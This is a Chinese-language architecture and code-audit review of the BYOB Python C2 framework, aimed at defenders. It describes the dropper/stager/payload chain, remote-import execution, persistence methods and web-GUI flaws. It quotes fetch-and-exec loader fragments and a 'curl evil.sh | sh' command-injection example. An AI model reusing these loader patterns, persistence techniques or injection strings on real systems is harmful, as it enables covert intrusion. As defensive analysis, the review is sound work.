本文为源码层的完整架构梳理,主体阅读对象为安全研究者、蓝队/EDR 工程师、以及对 Python 后渗透框架设计感兴趣的开发者。BYOB(Build Your Own Botnet)是 malwaredllc 维护的开源后渗透框架,定位是"教学/研究用 C2",与 malefic、Sliver 同属一类,但用纯 Python 实现,主打"文件式远程导入"与"零依赖生成器"两个卖点。
分析基于 commit
b494690 remove broken build badge,对应版本v2.0(v2.0-30-gb494690),最近一次提交 2024-07。本文侧重架构与工程缺陷,不构成使用指引。仓库地址:https://github.com/malwaredllc/byob
目录
整体概览 分层加载链 dropper / stager / payload 通信协议与加密 远程导入机制 core/loader.py C2 服务器与数据层 后渗透模块体系 Web GUI 层 多平台交叉编译 安全与抗分析子系统的真相 设计亮点(可借鉴) 安全与工程缺陷(缺点) 解读结论
1. 整体概览
1.1 两套并行实现
仓库里有两个互相独立的 BYOB,而不是一个核心 + 一个前端:
byob/—— 原始控制台应用,约 7100 行 Python。web-gui/buildyourownbotnet/—— Flask Web GUI,约 10377 行 Python(含一个 2330 行的dummy_payload_for_testing.py)。
两者的 core/(payloads / security / loader / stagers / generators / util / handler)与 modules/ 几乎逐文件复制粘贴,量化如下(web-gui vs 控制台,按字节):
payloads.py | |||
security.py | |||
generators.py | |||
loader.py | |||
util.py |
合计约 140 KB 重复核心代码 + 11 个重复模块文件。差异是有负载且已偏离的:
导入风格不同:web-gui 用 from buildyourownbotnet.core import util,控制台用import util。freeze()签名不同:web-gui 多了owner / operating_system / architecture与整套 Docker 分派;控制台只有debug。PyInstaller .spec模板不同:web-gui 写block_cipher = None、debug=True、console=True;控制台写block_cipher = pyi_crypto.PyiBlockCipher(key=${KEY})、debug=False、console=False。两边产出的二进制材质不同,安全相关修复不会跨树传播。
这是整个仓库最大的维护债务:一处修了加密/帧化 bug,另一处照旧。
1.2 四端口架构
server.py 的 main()(server.py:130-141)在 C2 主端口之外再起三个辅助服务,全部明文、无认证、绑 0.0.0.0:
1337(C2) | C2._socket,server.py:377) | |
1338(port+1) | python -m http.serverserver.py:134) | |
1339(port+2) | python -m http.serverserver.py:131) | |
1340(port+3) | core/handler.pyserver.py:137) |
C2 主端口是"真正的"服务端逻辑,另外三个本质是哑文件服务器 + 一个 POST 接收池。main() 还打开一个 temp 文件(server.py:126)把三个子进程的 stdout/stderr 全部重定向进去吞掉。
2. 分层加载链 dropper / stager / payload
byob/client.py 的 main()(client.py:122)分五段组装投递物:_modules → _imports → _hidden → _payload → _stager → _dropper。最终产出三层加载链:
dropper(约 6 行) │ exec(eval(marshal.loads(zlib.decompress(base64b64(...))))) │ payload 段 = urlopen(<stager_url>).read() ▼stager(纯 stdlib) │ urlopen(url).read() → 可选 decrypt(XXTEA) → exec(payload, globals()) ▼payload(完整反弹 shell) │ Payload(host, port).run() │ _get_connection(反向 TCP,失败每 30s 重试) │ _get_key(Diffie-Hellman) │ _get_info(主机指纹 + 首帧)要点:
stager 最先跑。 stagers.py:run()(stagers.py:62-67)urlopen(url).read()拉取 payload,可选decrypt(...)(实际是 XXTEA,见 §3),然后exec(payload, globals()),全程不落盘。payload 静态加密用"XOR-128"(实为 XXTEA)。 client.py:191生成key = base64.b64encode(os.urandom(16)),每次client.py运行都新生成;若--encrypt,_payload调security.encrypt_xor(payload, base64.b64decode(key))(client.py:329)。随后_stager把 key 作为字符串字面量嵌进 stager 源码(client.py:371→generators.py:156)。即"密钥随密文同箱配送",拿到 stager 就拿到 key——这是混淆,不是保密。运行期 C2 信道用 AES-256-CBC,密钥由 DH 协商,见 §3。 dropper 压缩态用 zlib.compress(marshal.dumps(compile(src,'','exec')), 9)自解压一行流(generators.py:120),--freeze时shell=True调 PyInstaller(generators.py:194)。反 VM/反 AV/沙箱检测住在运行期core/payloads.py里,不在生成器里。
3. 通信协议与加密
3.1 帧格式
双向都是 4 字节大端无符号长度前缀 + body:
+----------------+----------------------------------------------+| length (4B BE) | body = base64( AES-256-CBC(json) ) || struct.pack | IV 随机/每帧,前置于密文 || ('!L', len) | |+----------------+----------------------------------------------+发送:struct.pack('!L', len(data)) + data → connection.sendall(msg)(payloads.py:920-921、server.py:1024)。接收:先 recv(4) 读头,再 recv(struct.unpack('!L', hdr)[0]) 读体(payloads.py:954-959、server.py:1046)。序列化用 JSON(线上无 pickle——server.py:12 的 import pickle 是死代码)。
3.2 Diffie-Hellman 密钥协商
security.py:332-350:
g = 2p = 0xFFFFFFFF... # 1536-bit MODP Group 5(RFC 3526)a = bytes_to_long(os.urandom(32)) # 256-bit 私钥xA = pow(g, a, p)connection.send(long_to_bytes(xA)) # 发公值xB = bytes_to_long(connection.recv(256)) # BUG:见 §11s = pow(xB, a, p)return sha256(long_to_bytes(s)).digest() # 32B AES 密钥服务端镜像在 server.py:954(Session.__init__ 调 security.diffiehellman(self.connection))。协商后所有任务流 encrypt_aes/decrypt_aes(security.py:352/367)。
3.3 加密实现的三处硬伤
需要先纠正 README/文档里的措辞:
没有 OCB 模式。 security.py里唯一的 AES 模式类是AESModeOfOperationCBC(security.py:236),全仓 grep 不到OCB。"XOR-128" 名不副实。 encrypt_xor/decrypt_xor(security.py:388/428)不是异或流密码,而是一个 XXTEA/TEA 族分组密码(delta = 0x9e3779b9、v0/v1Feistel 轮、sum调度),上面再套一层手搓 CBC 链。AES 是手写的纯 Python 实现( security.py:51-277),比cryptography/pycryptodome慢 100 倍以上,且是安全敏感原语。
更严重的是工程层:CBC 不带 MAC(padding oracle / 可塑性面)、用 null-byte 填充而非 PKCS#7(pad,security.py:280-286,解密端 rstrip(chr(0)) 会静默破坏合法以 \x00 结尾的载荷)。
4. 远程导入机制 core/loader.py
这是整个项目的招牌特性,也是最有复用价值的设计。机制如下。
4.1 注册与作用域
add_remote_repo(loader.py:197-204)构造一个 Loader 并插入 sys.meta_path[0]。remote_repo 上下文管理器(loader.py:218-226)进入时注册、退出时摘除。Payload.load(payloads.py:445-448)这样用:
with remote_repo(self.remote['packages'], base_url_2): # port+2with remote_repo(self.remote['modules'], base_url_1): # port+1exec('import {}'.format(module), target)4.2 发现:find_module(loader.py:38-66)
实现的是遗留 PEP 302 finder 协议(find_module/load_module,Python 3.4 起被 importlib.abc 取代,imp 在 3.12 已移除)。仅当:顶层包名在声明清单内 且imp.find_module 确认本地没有时,才返回 self。清单本身靠抓取 SimpleHTTPServer 目录索引填充:Payload._get_resources(payloads.py:176-216)urlopen 列表页,正则 <a href>,递归进子目录。
4.3 加载:load_module(loader.py:68-129)
module_url = base_url + '%s.py'%name.replace('.', '/')package_url = base_url + '%s/__init__.py'%name.replace('.', '/')package_src = urlopen(package_url).read() # 明文 HTTP,无认证...mod = imp.new_module(name)mod.__loader__ = self; mod.__file__ = final_urlsys.modules[name] = modexec(final_src, mod.__dict__) # ← 任意代码执行点另有编译态路径 __fetch_compiled(loader.py:158-175):拉 <url>c(.pyc),剥掉 8 或 12 字节头,marshal.loads 出 code object,同样走 exec。
4.4 导入数据的认证/加密?
没有。 纯 urlopen().read() 走 HTTP,无签名、无 MAC、无校验和。README.md:129 把这件事明确列为 TODO #1:
Remote Import Encryption - encryption for data streams of packages/modules being remotely imported (to maintain confidentiality/authenticity/integrity and prevent any remote code execution vulnerabilities arising from deserialization)
README 的自承是准确的,这也正是框架最大的未修补设计漏洞(见 §11)。
5. C2 服务器与数据层
5.1 线程模型——比看起来朴素
C2不是每客户端一线程。实际是协作式、控制台驱动的单活动 shell模型:
C2.serve_until_stopped(server.py:828)被@util.threaded装饰,因此以一个守护后台线程启动(util.py:581-598,装饰器内部t.start()并返回Thread)。这是服务器自启的唯一线程,阻塞在socket.accept(),每接受一个连接就同步构造一个Session(server.py:836)。Session继承threading.Thread(server.py:927),但从不.start()(全文件 grep 0 次调用)。它的run()在用户执行shell <id>时从主控制台循环直接同步调用(server.py:805)。控制台态/shell 态的切换原语是两个 threading.Event:C2._active与session._active。进 shell 清前者置后者;bg反之(server.py:807-826)。Session.run()(server.py:1053)坐在self._active.wait()上,后台态时零 CPU 空转。
后果:控制台同一时刻只能主动驱动一个客户端。task_broadcast(server.py:682)完全同步——先给每个 session 发、再在一个字典推导里阻塞收每个回复,一个慢/死客户端拖垮整个广播。
5.2 命令分派
控制台命令表 self.commands(server.py:181-338)把命令名映射到绑定方法(服务端本地命令)或占位字符串。主循环(server.py:890-923):已知命令有可调用方法则本地跑;是 cd 就 os.chdir 服务器自身;否则 subprocess.Popen(..., shell=True)(server.py:915)——这是控制台里的 shell 注入 sink(需控制台访问权限)。
Session.run()(server.py:1053-1098)的分派更值得看:
客户端发 {"task": "prompt", "result": "<提示文本>"}。服务端 raw_input读一行(server.py:1068)。命中本地命令则本地执行、显示并 database.handle_task记录,不转发给客户端。否则 handle_task给任务分配uid(server.py:1082),send_task把加密任务发给客户端。客户端执行后回 {"task":..., "result":...},recv_task解密、显示、handle_task标记完成。
任务流:控制台 → DB(issued)→ AES 加密 socket → 客户端 → 结果 → DB(completed)。DB 就是命令/响应的审计日志。
5.3 数据库设计(byob/core/database.py)
两张表,__init__ 用 executescript 跑原始 DDL(database.py:27-76):
tbl_sessions:每客户端一行(按uid去重)。列含id serial / uid / online / joined / last_online / sessions(重连计数)/ public_ip / mac_address / local_ip / username / administrator / platform / device / architecture / longitude / latitude / owner。没有单独的tbl_clients——session 表兼任客户端登记表。tbl_tasks:id serial / uid / session(实为客户端 uid,命名误导)/ task / result / issued / completed。既是待办队列也是历史结果日志。没有 tbl_files——回传文件走文件系统handler.py,不入库。
DAO 风格:Database直接子类化 sqlite3.Connection(database.py:21),全程原始参数化 SQL,sqlite3.Row 行工厂,手搓 execute_query/execute_file 包装(database.py:294/320),无 ORM。
5.4 文件回传处理器(byob/core/handler.py)
独立 BaseHTTPRequestHandler 进程(server.py:137)。do_POST(handler.py:28):
读 Content-Length字节(handler.py:34)——无大小上限,可耗尽内存/磁盘。JSON 解码,取 {"data": base64, "type": ext}。解码写 output/<random3>.<ftype>。
无认证。能连到端口的人都能传。文件名随机(3 字符),客户端不能直接选;但扩展名 ftype 客户端可控且未校验(handler.py:49):fname = random... + '.' + ftype,若 ftype = "../../evil",os.path.join('output', 'abc.../../evil') 会解析到 output/ 之外。os.path.basename 或白名单即可修。
其他 handler bug:send_response(200) 被调两次(_set_headers 行 24 + 行 35);string.lowercase(handler.py:49)是 Python 2 专属,尽管顶部有 Py2/3 兼容 shim,这行在 Py3 直接崩——handler 在 Py3 下基本是坏的。单线程 HTTPServer(handler.py:56),一个慢上传阻塞全部。
6. 后渗透模块体系
6.1 模块契约——其实是鸭子类型
没有基类、没有正式接口。契约只靠约定:byob/modules/ 下的 .py,暴露一组约定全局量即"可远程导入":
packages | list[str] | |
platforms | list[str] | sys.platform |
usagedescription | str | |
run(...) | ||
log | StringIO | |
results | dict | |
command | bool |
结果回传有两条通道:
小文本: run()返回字符串,经主循环包成任务 dict,send_task()走加密反向 TCP(payloads.py:900-938)。大/二进制:模块写进模块级 StringIO/缓冲,Payloadwrapper base64 后 HTTP-POST 到 port+3(handler.py)。见 screenshot(payloads.py:816-818)、keylogger(:792-794)、packetsniffer(:884-890)、outlook(:635)。
关键限定:加模块不是即插即用。每个模块都要在 Payload 类上有一个硬编码 wrapper 方法(payloads.py:826 persistence、:753 keylogger、:730 portscanner、:803 screenshot…),带 @config(platforms=[...], command=True, usage=...) 装饰。分派器 _get_command(payloads.py:118-121)只在 hasattr(self, cmd) and getattr(...,'command') 时认这条命令。所以 __init__.py:68-72"把脚本丢进去客户端就能自动导入"是误导的——自动导入成立,自动暴露为命令不成立。
6.2 持久化模块——实际 7 种机制
__init__.py:89-95 文档说 5 种,代码已长到 7 个 Method 实例(文档落后于代码):
hidden_file | attrib +h | |
crontab_job | 0 * * * * root <path> 到 /etc/crontab | |
registry_key | HKCU\...\Run_winreg | |
startup_file | .url InternetShortcut | |
launch_agent | ~/Library/LaunchAgents/<name>.plist | |
scheduled_task | SCHTASKS /CREATE /SC hourly | |
powershell_wmi | __InstanceModificationEvent → CommandLineEventConsumer 跑 base64 PowerShell) |
跨平台覆盖真实但不均:Linux 仅 2 种、macOS 仅 2 种、Windows 5 种。powershell_wmi 是无文件持久化,对应 MITRE ATT&CK T1546.003。Method 类按 sys.platform in self.platforms 网关,跨平台误调抛 OSError 而非崩溃——这块是全仓最可扩展的设计。
6.3 端口扫描器为何 739 行
约 600 行是硬编码端口字典(portscanner.py:31-648):ports = {...} 把约 200 个端口号映射到 {protocol, service},本质是一份手剪的 /etc/services,纯数据。真正扫描逻辑只约 90 行(:651-739):
_ping(:651):subprocess.call(..., shell=True)调ping -n 1/ping -c 1探活。_threader(:667,@util.threaded):从Queue拉(callable, arg)直到get_nowait()抛错——线程池模式。_scan(:680):TCP connect 扫描——SOCK_STREAM、settimeout(1.0)、connect()。无 raw socket、无 SYN、不需要 root。连上后recv(1024)抓一次 banner,过滤可打印 ASCII 截断 80 字符,再查端口字典标协议/服务。run(:713):校验 IPv4、ping、每端口入一个任务、range(1, qsize())开 worker、join、返回json.dumps(results[target])。
即:无 raw socket、有线程(队列池)、有 banner 指纹(单次 recv)、外加一个巨型内嵌服务库。规模是数据问题不是复杂度问题——这本该是资源文件或 socket.getservbyport()。
7. Web GUI 层
7.1 应用结构
工厂 + Blueprint。create_app()(web-gui/buildyourownbotnet/__init__.py:20-58)是教科书式 Flask 工厂:选 ProdConfig/TestConfig,app context 内初始化 db/bcrypt/login_manager,db.create_all(),注册六个蓝图(main / users / api.files / api.session / api.payload / errors)。
认证 = Flask-Login + 服务端 session。 无 JWT。@login_required 守护用户面与多数 API 路由。密码 bcrypt 哈希(models.py:10)。UserMixin session cookie 是唯一凭证。
最大的架构罪过:C2 在 import 时就被实例化。__init__.py:16-18:
from buildyourownbotnet import client, serverc2 = server.C2(debug=_debug)仅仅导入这个包就会构造一个 threading.Thread 子类、打开 0.0.0.0:1337 监听 socket(server.py:68,120-125),并 spawn 两个 SimpleHTTPServer 子进程在 1338/1339。任何测试、任何 REPL 导入、任何 gunicorn worker 引导 app 都会起一个 C2 监听;多 worker 部署时每个 worker 各持一个 c2.sessions dict 和各自的 socket(SO_REUSEADDR 救不了跨 worker 端口冲突)。
Web 用户如何生成 payload:POST /api/payload/generate(api/payload/routes.py:12-65)读表单,构造 options,调 client.main('', '', '', '', '', '', **options)(payload/routes.py:53)——六个空位置参数,因为生成器是被硬塞进 Web 应用的。client._dropper 把 dropper 写到 output/<owner>/src/byob_<var>.py(client.py:431-458)。若 freeze,generators.freeze()shell=True 调 Docker(core/generators.py:275-280)。
Web 用户如何与活动客户端交互:GET /shell?session_uid=X(main/routes.py:83-130)渲染 shell.html(jQuery 终端)。每条命令 $.post 到 /api/session/cmd(api/session/routes.py:45-76),handler 从内存 c2.sessions[current_user.username] 取活动 SessionThread,send_task 后同步recv_task(session/routes.py:68-69),结果作 HTTP body 返回。无 async、无队列、无 websocket。唯一的"推送"是 sessions.html 里 1 秒一次的 JSON 轮询打 /api/session/poll。
7.2 API 设计
半 RESTful、动词进路径:/api/<resource>/<action>——/api/session/new、/api/session/cmd、/api/session/remove、/api/session/poll、/api/payload/generate、/api/file/add。创造性动作全 POST,无 PATCH/DELETE。
7.3 Web 层的安全洞
CSRF 实际关闭。 TestConfig.WTF_CSRF_ENABLED = False(config.py:13);ProdConfig从不导入/初始化CSRFProtect。表单里{{ form.hidden_tag() }}本会吐 CSRF 字段——但 AJAX 端点(/api/session/cmd、/api/session/remove、批量执行)不发 token。/api/session/cmd把任意命令转发给 bot,此处 CSRF = 对任何登录用户所控全部机器 RCE,只要他访问一个恶意页面。两条 API 路由完全无认证: /api/session/new(api/session/routes.py:11-18)与/api/file/add(api/files/routes.py:14-61),互联网任意人可 POST,owner取自 body。路径穿越任意文件写。 api/files/routes.py:52:os.path.join(os.getcwd(), 'buildyourownbotnet/output', owner, 'files', filename),owner/filename/session全来自未认证 body,os.path.join不净化..。filename = "../../app.py"即写出树外。同样的洞在遗留core/handler.py:65。Docker 容器名命令注入。 generators.freeze()(generators.py:275-280)跑docker run ... {docker_container},容器名= operating_system + '-' + architecture,二者直接来自 payload 表单(api/payload/routes.py:19-20,49),无白名单。win; curl evil.sh | sh; echo即服务器 shell 注入。全程shell=True。密钥。 ProdConfig.SECRET_KEY = os.environ.get('BYOB_APP_SECRET_KEY') or os.urandom(24)(config.py:4)——回退每次进程启动重新生成,重启即作废所有签名 cookie,且多 worker 各异。TestConfig.SECRET_KEY = 'helloworld'(config.py:10)。开放重定向。 users/routes.py:76-77:next_page = request.args.get('next'); return redirect(next_page)无校验。下载路径穿越。 main/routes.py:155-173用 URL 段<user>/<filename>进send_from_directory,只@login_required,不校验"这文件属于current_user"——任何登录用户可猜路径读他人回传文件或生成的 payload。
8. 多平台交叉编译
两条互相独立的交叉编译路径,只有第一条接入 Web GUI:
(a) Web-gui 路径 —— web-gui/docker-pyinstaller/。 由 generators.freeze()(core/generators.py:208-309)触发:cd 进 output/<owner>/src/,写 PyInstaller .spec,拷 requirements_client.txt,跑:
docker run -v "$(pwd):/src/" <operating_system>-<architecture>镜像名形如 win-x64 / linux-amd64,由 Dockerfile-py3-win64(Ubuntu 20.04 + Wine + Wine 下装 Python 3.7.9 MSI + PyInstaller 3.6 + VC++ redist + winetricks win10)与 Dockerfile-py3-amd64(原生 Linux + pyenv + PyInstaller)构建。entrypoint 跑 pyinstaller --clean -y --dist ./dist/{windows|linux} --workpath /tmp *.spec。10 分钟超时循环盯 stderr 的 "EXE ... complete"(generators.py:282-298)。
(b) 仅控制台路径 —— byob/crosscomp/build-environment.sh。 完全不同且更老的机制:装 docker.io + qemu-user-static + binfmt-support,注册 multiarch qemu,再对 arch.targets 每行构建 per-arch 镜像(<arch>:BYOB)并产出 compile_<arch>.sh 包装,在容器内跑 python client.py --freeze。支持 ARM/ARM64/RasPi(经 qemu 模拟)。Web GUI 完全不调用它——Web GUI 的"多平台"面被限制在运营者预构建的 docker-pyinstaller 镜像(win32/win64/amd64/i386)加上他手头恰好有的 os-arch 组合;控制台丰富的 ARM 故事从 Web 应用不可达。
9. 安全与抗分析子系统的真相
README 宣传"Evade Antivirus"、"Prevent Analysis"、"Avoid Detection"。代码实际做的:
反 VM( stagers.py:environment(),stagers.py:34-37):查VBOX环境变量 + 一小撮硬编码进程名(vmwareuser、vboxservice、vmtoolsd…)经tasklist/ps。从未被调用——run()里这检查被注释掉(stagers.py:64-70)。框架出厂自带反 VM 关闭。即便启用:约 12 个静态名、无沙箱制品检查、无 sleep/计时检查、无 API-hook 检测,改个二进制名或用清单外 hypervisor 即绕。反 AV = payload 静态 XXTEA 加密 + 可选 pyminifier 混淆( generators.obfuscate,generators.py:122-142)+ 可选 PyInstaller freeze。仅静态签名规避,无运行期技术,无 AMSI/ETW bypass,无 unhook。无反调试、无反反汇编、无内存扫描规避。"无文件"对 post-stager 阶段成立(一切 exec进内存),但初始 stager 仍落盘(除非框架自身不提供的文件式投递向量)。escalate.py的"UAC bypass"是假的。:42调win32com.shell.shell.ShellExecuteEx(lpVerb='runas', ...)——这是标准"以管理员身份运行"机制,会在用户面前弹正常 UAC 同意框。模块 docstring 与__init__.py:100-101称其"UAC bypass"是虚假宣传。更糟::12导入win32com.client,:42却引用win32com.shell.shell——win32com.shell从未导入,非提权运行时这行抛AttributeError。唯一"工作"的提权路径是:38-39用户已是管理员时的早返回。没有真正的 bypass 技术(无 COM 劫持自动提权、无 fodhelper、无 ICMLuaUtil)。
9.1 加密层实际提供的威胁模型
加密层只挡得住纯被动、离路径的窃听者,仅此而已。对任何在路径上的人(企业代理、被 comprom 的 ISP、C2 基础设施运营者、或任何能到达 port+1/+2/+3 的人),框架提供:DH 协商的平凡 MITM、经导入信道的任意代码执行、经 port+3 的未认证文件注入、任务信道上的 CBC 可塑性。README 诚实承认导入加密是 TODO;其余皆源于"无 TLS、无认证、手搓加密"。
10. 设计亮点(可借鉴)
经 sys.meta_path的内存远程导入。Loaderfinder/loader 对 +remote_repo上下文管理器是真正优雅的设计——一种有作用域、无文件的、用服务器托管代码扩展运行中 agent 的方式。换成importlib.abc.MetaPathFinder/Loader加find_spec实现后,这模式在进攻工具之外也大有用武之地——它本身是正当的插件/流式代码技术。分层投递。dropper(极小)→ stager(纯 stdlib、"零依赖")→ 完整 payload。初始足迹小,重代码住服务端。通用 C2 好架构。 动态代码生成 + 压缩。 generators.compress产出marshal+zlib+base64自解压一行流(generators.py:120),string.Template驱动的 spec/plist 生成是整洁、可组合的变换。纯 stdlib stager。stager 在裸 Python 安装上跑、无需 pip install——作为一阶段加载器很合理。反向 TCP + 被动模式重连。仅出站(防火墙友好),30 秒重试循环,被动→主动干净切换( payloads.py:578-586、payloads.py:998-1004)。任务模型即审计日志。每条命令及其结果都是一等 DB 行( tbl_tasks带issued/completed时间戳,database.py:260-289)——免费拿到历史、回放、问责,更多 C2 应当如此。@config装饰器作元数据载体(util.py:566-579,payloads.py:47-59镜像):把platforms/usage/command挂成函数属性,无需继承。声明每命令元数据的干净方式。threading.Event控制台/shell 切换(server.py:172,950):在单主线程上多路复用"管理控制台"与"一个活动反向 shell"而无需轮询——值得研究,哪怕周边代码混乱。持久化 Method类:实例化Method('name', platforms=[...]),调.add()/.remove()经globals()['_add_{}'.format(self.name)]()分派。加新技术 = 写两个函数 + 一行Method(...)。全仓最可扩展处。
11. 安全与工程缺陷(缺点)
11.1 安全(严重)
远程导入 = 大规模 RCE 向量(已自承)。任何能跟 port+1/port+2 说话的人——被 comprom 的运营者、明文 HTTP 上的 MITM、或任何能到达这些端口的对端(绑 0.0.0.0)——都能在每个发load <module>的客户端上执行任意 Python。服务器本身是服务磁盘内容的哑http.server,无白名单、无认证、无完整性校验。exec(final_src, mod.__dict__)(loader.py:126)就是执行 sink。这是一对多 comprom 原语。四个监听服务零认证。C2 TCP 端口(任何完成 DH 的都是"客户端")、模块/包 HTTP 服务器(任何人可拉全部模块)、POST handler(任何人可推)。知道端口的被动观察者即可注册为客户端。 DH 无签名→MITM。无签名、无证书、无 PSK。在路径攻击者拆成两个独立会话即可解密一切,整层加密对在路径者作废。 CBC 无 MAC( security.py:352-386)。可塑性与 padding oracle 面;base64 信封无实质帮助。应是 AES-GCM 或 Encrypt-then-MAC。null-byte 填充而非 PKCS#7( pad,security.py:280-286;rstrip(chr(0))于security.py:386),静默破坏合法以\x00结尾的载荷。手搓纯 Python AES( security.py:51-277),比cryptography/pycryptodome慢 100 倍+,安全敏感原语的脚枪。1536-bit MODP(Group 5)素数,低于 NIST/NSA 当今 2048-bit 下限。 Web 端 CSRF 关闭→ /api/session/cmd等于对登录用户全部受控机 RCE(api/session/routes.py:45-76+config.py:13)。/api/session/new与/api/file/add完全无认证。文件上传路径穿越(扩展名客户端可控, handler.py:49、api/files/routes.py:52)。Docker 容器名命令注入( generators.py:275-280,shell=True)。handle_session列名 SQL 注入(database.py:242):info是客户端发的 JSON dict,值经:param绑定安全,但列名列表用客户端可控的 dict keys 字符串格式化。恶意客户端在注册 JSON 加一个 key 即注入任意 SQL 到列名位。icloud.py:29全局关 TLS 校验:import 时ssl._create_default_https_context = ssl._create_unverified_context,为整个进程关掉验证(不止它自己的下载);还urlretrieve硬编码mas-cliv1.4.2 release、xattr -d去 quarantine、chmod 755 并运行——"import 即 RCE"模式。escalate.py"UAC bypass"是假的(见 §9)。
11.2 正确性(严重 bug)
SQLite 跨线程共享无锁( database.py:70check_same_thread=False)。accept 线程与控制台线程共用同一连接,无序列化;commit()竞态产生database is locked,被裸except吞(database.py:187,357),实际负载下丢任务记录。recv不循环读取。DH 的connection.recv(256)(security.py:348)、两端recv_task的recv(msg_len)(payloads.py:958、server.py:1046)。TCP 是流,都不循环读到请求字节数;分片时会误解析长度头而死锁或损坏。Session是从未start()的线程——run()从主循环同步调用(server.py:805)。threading.Thread基类是误导性死重。accept 循环里同步做 DH + 收 client_info(server.py:836、Session.__init__:954-961)。一个慢/恶意客户端阻塞所有新 accept。握手应交给每连接 worker。process.kill严重坏(process.py:117-145)。return json.dumps(output)在:143位于for循环内,函数检完恰好一个进程行就返回;若首行不匹配请求 PID,落进:138的else用taskkill /im <exe>杀错进程再返回。outlook.run用t.run()而非t.start()(outlook.py:93)。Thread.run()在调用者线程同步执行目标——_get_emails(含无界while True)永远阻塞调用者,线程从未真正 spawn。util.png在 Py3 损坏(util.py:295-351):对bytes做str(magic)得到 repr 串"b'\\x89PNG...'",写进StringIO,再:349-350对已是str但含畸形 repr 的数据encode('utf-8')——PNG 输出损坏。screenshot.run依赖此路径。handler.pyPy2 专属(string.lowercase,handler.py:49),Py3 崩。持久化多处 AttributeError/TypeError:Method.__init__调util.__logger__.warn(...)但util无此属性;_add_scheduled_task调不存在的util.variable(...);_remove_crontab_job对list做lines.pop(line, None)(list.pop取整数索引不取字符串值)。packetsniffer声明platforms=['linux2','darwin']却用 Linux 专属的socket.PF_PACKET(packetsniffer.py:22,149),macOS 上必崩;_run体错误处理整段被注释(:148-168)。keylogger导入pyHook(keylogger.py)——pyHook仅 Python 2 且无人维护,Py3 无 pyHook。键盘记录器实为 Windows+Py2 专属,尽管声明支持 win32/linux2/darwin。serve_resources(server.py:868-878)既坏又死:每 3 秒在无限循环里 kill 并重启package_handler,会切断每个在途远程导入;它从不被run()调用,纯地雷。PEP 302 imploader 在 Python 3.12 已移除——整套远程导入在新 Python 上失效。execute的info.dwFlags = subprocess.STARTF_USESHOWWINDOW, subprocess.CREATE_NEW_ps_GROUP(payloads.py:679)——小写ps_GROUP是笔误,且元组赋给dwFlags错误;Windows 隐藏进程路径坏的。
11.3 设计与可维护性
server.py1100 行上帝对象。C2(server.py:144-924)同时拥有:socket 生命周期、四个子进程句柄、命令分派表、控制台 UI(颜色/样式/提示符/banner/tab 补全)、SQL 直通、任务广播、session 簿记、显示格式化。应拆成transport/session/console_ui/commands/lifecycle。Payload~960 行上帝类,混 transport(send/recv)、任务循环、约 25 个无关命令(cd/ls/keylogger/outlook/escalate/persistence/packetsniffer…)。globals()当服务注册表。Payload伸手进globals()取diffiehellman/encrypt_aes/decrypt_aes/post/geolocation/public_ip等(payloads.py:143,170,221,569,614…),硬耦合到from x import *成功,重构/测试/静态分析痛苦。控制台与 Web 代码 ~140KB 复制粘贴且已分叉( block_cipher等安全相关差异)。裸 except:/except: pass泛滥(payloads.py:265,387,497,500,621,734,785;outlook.py:38,57;util.py:172,229,366;process.py:135)。Python 2/3 双兼容债遍布: xrange/range、StringIO/io、urllib2/urllib、raw_input/input、string.lowercase、imp;security.py:31-48还在 import 时按sys.version_info猴补丁。模块并非真正 drop-in:每个新模块需要一个 Payloadwrapper(见 §6.1)。Web GUI:C2 在 import 时实例化(见 §7.1)。 Web GUI 与自身 HTTP 耦合:C2 线程在同进程里用 app.test_client().post('/api/session/new', ...)跟 Flask 说话(server.py:157,239),古怪且慢。datetime.utcnow()在类定义时求值(models.py:22,36,79,101,121,default=datetime.utcnow()应为default=datetime.utcnow可调用),每行都拿导入时间戳。遗留/死代码: _get_session_by_id(server.py:403-411)立即把参数覆写成None;_get_session_by_connection(:413-425)调不存在的self.get_sessions();handler.py重复/api/file/add且仍引用 Py2string.lowercase;server.py:955注释掉的self.rsa = None # security.Crypto.PublicKey.RSA.generate(2048)死愿望。
12. 解读结论
BYOB 是一个紧凑、教学向的 C2,用几个真正漂亮的想法(分层 dropper、内存远程导入、DH/AES 信道、任务审计日志)裹在一层脆弱的单文件上帝对象里。它最值得拆出来复用的是 loader.py(远程导入钩子)、帧化(长度前缀)与任务-DB 模式;server.py 单体与 database.py DAO 应当视作待重写的草稿,而非照搬。
最大的正确性风险是:SQLite 跨线程无序列化、accept 循环被每连接握手阻塞、handle_session 列名 SQL 注入、以及 process.kill/outlook.run/util.png 这类主线 bug。最大的安全风险是四个监听服务全部无认证、远程导入的未认证 RCE、Web 端 CSRF 关闭导致的登录用户全机器 RCE,以及控制台 shell=True 直通。整套抗分析子系统(反 VM、反 AV、"UAC bypass")宣传远大于实质——反 VM 出厂被注释关闭,escalate 既假又会在非管理员环境崩。
对蓝队/取证/EDR 而言,BYOB 是低难度但高教学价值的样本:
网络层:1337–1340 四个连续明文端口、 0.0.0.0绑定、python -m http.server的目录索引可枚举模块与 payload、POST handler 无认证无大小上限——任一都是低成本的 NDR/出口检测点。静态层: exec(eval(marshal.loads(zlib.decompress(base64.b64decode(...)))))自解压一行流、urlopen(...).read()+exec的 stager、delta = 0x9e3779b9的 XXTEA 常量、os.popen('taskkill /pid %s /f')的 shell 注入式进程操作——都是稳定的 YARA/规则特征。行为层:反向 TCP 每 30 秒重试、DH 公值裸传、模块源码明文 HTTP 拉取后 exec、向 port+3 base64 POST 截图/pcap/键盘记录——主机侧 EDR 可在导入与上传两条路径上做高质量 telemetry。代码审计层:这是研究"如何不写一个 C2"的反面教材——跨线程 SQLite、不循环的 recv、把客户端 dict keys 拼进 SQL 列名、eval+marshal.loads解攻击者字节、CSRF 默认关、import 即起监听——每一条都是可移植到任意 Python 服务端审计的检查项。
一句话:BYOB 的远程导入钩子值得学,它的服务器与数据库值得作为反面教材重写一遍。
夜雨聆风